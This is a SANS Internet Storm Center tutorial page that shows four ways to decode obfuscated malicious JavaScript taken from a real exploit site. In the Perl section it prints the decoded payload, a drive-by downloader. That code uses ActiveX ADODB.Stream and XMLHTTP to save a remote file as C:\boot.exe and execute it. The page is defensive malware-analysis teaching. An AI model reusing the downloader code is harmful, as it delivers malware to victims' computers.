Decoding Javascript
This page was put together to accompany my SANS ISC diary entry on "Javascript Decoding" (see If you haven't done so yet, please read the diary first. Another example that shows the Perl-Fu and Monkey Wrench method in action is available here

Warning! The links on this page contain exploit code. Mind you, exploit code which has been changed very slightly and should not be harmful anymore, but it *is* exploit code, and as such it might possibly trigger your anti-virus. What I'm aiming at: Work through the examples on this page from a LAB PC which is not connected to your production network. And don't complain to me or SANS ISC if clicking on anything on this page makes your computer turn out scrambled instead of sunny side up.

The Starting Point
The original, encoded exploit page was submitted to us by ISC reader Andrew on Feb 15. The file came from mm-dot-4755-dot-com, and contained "odd" encoded JavaScript as follows:

Download the original file if you want to reproduce the next steps on your own! Do a right-click "save link as", or you'll end up with an empty page. The "function" within the file was renamed to "funkyon" to keep it from triggering. Note:You'll have to change "funkyon" back to "function" in the file (once downloaded) if you want to play with the file!

Yes, this is quite easy to decode. Don't be disappointed. The purpose of this write-up is not to unravel the mother of all Javascripts, but rather to show the four techniques in action, so that you can use them by yourself to decode the more complicated cases which definitely ARE out there on the wild wide web.

#1 - The Lazy Method
From the explanation of the method in the diary, you know what to do: Search for all occurences of "eval" and "document.write" and substitute an "alert" in their stead. The adapted file using this method is here, you can right-click save-link-as to get a look at the source, our you can simply click to see the pop-up with the decoded Javascript.

#2 - The Tom Liston Method
In this case, we are replacing all occurences of "eval" and "document.write" with a call to a function that we add which wraps the output into a textarea. The adapted file is available here, and again you can left-click to see it working, or right-click-and-save to look at the source. Let me again repeat the warning, though: By using this method, you are running hostile code inside your browser. If the bad guy suspects you might be using this analysis method, it is _easy_ for him/her to break out of this textarea and make the code run in your browser.

#3 - The Perl-Fu Method
This Javascript function is not all that hard to understand. Function "J" just performs a single operation on each of the ASCII codes passed to it. I've put a red box around this function in the "Notepad" image above: "m^66". That little "^" character denotes an exclusive-or (XOR) operation. If you are not familiar with XOR and its properties, I suggest you take a short detour via Wikipedia before reading on.

Basically, what we have to accomplish in Perl is a function which iterates over this HTML file, and performs the "XOR 66" operation on all the values passed to the J() function.

cat example.htm | perl -pe 's/\+J\((\d+)\)/chr($1^66)/ge' | more

does the trick. Not for the faint-hearted if you don't speak Perl, but of sublime beauty if you do :-). The above Perl function searches for all occurences of J(nnn) with nnn denoting a number, and replaces this stringlet with the char whose ascii code is the result of the operation (nnn XOR 66). The result is quite similar to what we already got from the two methods above:

var J=function(m){return String.fromCharCode(m^66)};eval(J(52)ar url,path;url="";path="C:\\boot.exe";try{var ado=(document.createElement("object"));var d=1;ado.setAttribute("classid","clsid:BD96C776-65A3-11D0-983A-00C04FC29E36");var e=1;var xml=ado.CreateObject("Microsoft.XMLHTTP","");var f=1;var ab="Adodb.";var cd="Stream";var g=1;var as=ado.createobject(ab+cd,"");var h=1;xml.Open("GET",url,0);xml.Send();as.type=1;var n=1;;as.write(xml.responseBody);as.savetofile(path,2);as.close();var shell=ado.createobject("Shell.Application","");shell.ShellExecute(path,"","","open",0);}catch(e){ };+'');

#4 - The Monkey Wrench Method
For Spidermonkey to be able to parse the file, we have to strip out everything HTML and leave only bare JavaScript (yes, the <script> headers have to go as well). Also, remember that Spidermonkey doesn't know what to do with eval() and document.write() calls, so replace them with a simple "print()". You can download my edited file here, do a right-click save-as again - if asked whether you want to RUN the download, I suggest you say "NO" :). This example.js file can be fed into Spidermonkey thusly:

daniel@debian$ js example.js

and, lo and behold, will again return the same decoded JavaScript as above. Note that instead of Spidermonkey, you can also use Rhino, with the exact same method and result. An anonymous reader has also suggested that instead of tediously replacing every document.write with a print, it is way easier and faster to define a document object whose write method is "print". To try this approach, add document={write:print} as first line of the script to be decoded - works like a charm.

© 2000-2007 The SANS™ Institute / Contact / Compiled by Daniel Wesemann / I've picked the "Monkey Wrench" moniker for method #4 in honor of Edward Abbey's book "The Monkey Wrench Gang".